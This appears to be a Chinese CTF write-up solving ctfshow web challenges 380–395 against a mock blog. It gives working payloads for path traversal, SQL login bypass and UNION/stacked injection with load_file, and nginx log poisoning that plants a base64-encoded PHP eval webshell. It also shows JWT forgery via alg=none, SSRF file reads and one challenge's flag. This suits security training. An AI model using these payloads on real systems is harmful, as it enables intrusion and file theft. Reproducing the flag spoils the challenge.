web380

通过目录扫描发现page.php
访问,通过页面报错信息,发现页面通过传入id来获取文件信息。

page.php?id=flag

web381

查看index.php源码

<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
  <title>CTFshow萌新博客</title>
  <link rel="stylesheet" href="layui/css/layui.css">
  <link rel="stylesheet" href="layui/css/global.css">
  <link rel="stylesheet" href="alsckdfy/layui/css/tree.css">
</head>

路径/alsckdfy比较可疑,访问获得flag。

web382

web383

访问路径/alsckdfy,出现登录框。
使用万能账号。
需要抓包修改,因为登录时引号和加号会被url编码。

u=admin'--+&p=123

web384

访问路径/alsckdfy
根据提示爆破密码,前两位字母,后三位数字。

这里密码是xy123,爆破速度有点慢,逃课了。

web385

在page.php中可通过目录穿越来读取文件

page.php?id=../../../../../var/www/html/page

page.php

<?php

error_reporting(0);
$id = $_GET['id'];
if(!isset($id)){
	die('打开page_$id.php失败');
}else{
	$html = file_get_contents('page_'.$id.'.php');
	echo $html;
}

install/index.php

<?php

error_reporting(0);
$dbhost ="127.0.0.1";
$dbuser = "root";
$dbpwd = "root";
$dbname = "ctfshow";
$charName = "utf-8"; 
echo '请务必在安装成功后删除本文件';
echo '<br>需要重新安装请访问install/?install,管理员密码将重置为默认密码';
if(isset($_GET['install'])){
	$conn = new mysqli($dbhost,$dbuser,$dbpwd,$dbname);
	if(mysqli_connect_errno()){
	 	die(json_encode(array(mysqli_connect_error())));
	}
	$sql = "update admin_user set username='admin',password='admin888' where username='admin';";
	$result = $conn->query($sql);
	echo '<br>安装成功,请立即删除本文件';

}

访问install/?install可重置管理员密码

使用admin/admin888登录即可获得flag

web386

安装页面使用了lock.dat进行校验,无法重置管理员密码。

使用page.php读取check.php内容

page.php?id=../../../../../var/www/html/alsckdfy/check

check.php

<?php
error_reporting(0);
require_once "config.php";
$flag='ctfshow{7a8ef909-3faf-4954-bde8-3d67c90443cc}';
$u=$_POST['u'];
$p=$_POST['p'];
if(isset($u) && isset($p)){
	$conn = new mysqli($dbhost,$dbuser,$dbpwd,$dbname);
	if(mysqli_connect_errno()){
	 	die(json_encode(array(mysqli_connect_error())));
	}
	$conn->query("set name $charName");
	$num = 1;
	$ret = array(
		"code"=>0,
		"msg"=>"查询失败",
		"count"=>$num,
		"data"=>array()
	);
	if(!preg_match('/^[A-Za-z0-9]+$/i', $u)){
				die('error');
					}
		if(!preg_match('/^[A-Za-z0-9]+$/i', $p)){
					die('error');
						}
	$sql = "select id,username,password from admin_user where username = '".$u."' and password = '".$p."';";
	$result = $conn->query($sql);

	if($row = $result->fetch_object()){
		echo $flag;
	}else{
		echo 'error';
	}
}else{
	die('error');
}

?>

web387

经过目录扫描发现robots.txt含有debug目录

disallow:/debug

根据页面提示可传入file参数,测试后发现页面存在文件包含漏洞。

使用日志包含进行命令执行,读取check.php文件。

GET /debug/?file=/var/log/nginx/access.log HTTP/1.1
Host: 72de9142-7b46-4583-a090-b8b438463503.challenge.ctf.show
Upgrade-Insecure-Requests: 1
User-Agent: <?php system('cat ../alsckdfy/check.php');?>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

web388

这题debug页面没有回显,依然使用上题方法,直接写入shell。

GET /debug/?file=/var/log/nginx/access.log HTTP/1.1
Host: 6e738533-f15e-4039-982b-726467ca437b.challenge.ctf.show
User-Agent: <?php file_put_contents(base64_decode('L3Zhci93d3cvaHRtbC9zaGVsbC5waHA='),base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWzFdKTsgPz4g')) ?>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

web389

访问debug页面显示没有权限。
查看数据包发现Cookie为jwt形式,进行爆破secretkey为123456,伪造一个admin的jwt。

后续步骤同上题

web390

这题jwt密钥无法爆破出来,但是可以使用alg=none来绕过jwt验证(上题也可以)

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0=.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcxOTc0MzEwNCwiZXhwIjoxNzE5NzUwMzA0LCJuYmYiOjE3MTk3NDMxMDQsInN1YiI6ImFkbWluIiwianRpIjoiNDNjMDVmNzE5ZDhjNDAzM2VkOTc0MmZhZGE5YmE1MmUifQ==.

{"alg":"none","typ":"JWT"}.{"iss":"admin","iat":1719743104,"exp":1719750304,"nbf":1719743104,"sub":"admin","jti":"43c05f719d8c4033ed9742fada9ba52e"}.

预期解:
page.php存在sql注入

<?php

error_reporting(0);
require_once "alsckdfy/config.php";
$id = $_GET['id'];
if(!isset($id)){
	die('文章不存在');
}else{
	$conn = new mysqli($dbhost,$dbuser,$dbpwd,$dbname);
	if(mysqli_connect_errno()){
	 	die(json_encode(array(mysqli_connect_error())));
	}
	$conn->query("set name $charName");
	$num = 1;
	$ret = array(
		"code"=>0,
		"msg"=>"查询失败",
		"count"=>$num,
		"data"=>array()
	);
	$sql = "select id,title,content from content where id=".$id.";";
	$result = $conn->query($sql);
	if($row = $result->fetch_assoc()){
		$content = $row;
	}
}
?>

payload

?id=0 union select 1,2,(select load_file('/var/www/html/alsckdfy/check.php'))

web391

同样是sql注入,不过注入点在标题搜索处

search.php?title=0' union select 1,2,(select load_file('/var/www/html/alsckdfy/check.php'))--+

web392

同上题,不过flag不在check.php中,在/flag

search.php?title=0' union select 1,2,(select load_file('/flag'))--+

web393

sql注入点没有文件读取权限,读取表后发现有一个link表。
在最下方发现搜索引擎功能,存在ssrf,但是由id传参,推测是通过link表查询具体值。

利用sql堆叠注入插入link值。

search.php?title=1';insert into link values(10,'a','file:///flag');

利用ssrf读取flag

/link.php?id=10

web394

web395

sql注入处存在过滤,使用16进制绕过。

/search.php?title=1';insert into link values(10,'a',0x66696c653a2f2f2f7661722f7777772f68746d6c2f616c73636b6466792f636865636b2e706870);
16进制为file:///var/www/html/alsckdfy/check.php

利用ssrf读取文件

/link.php?id=10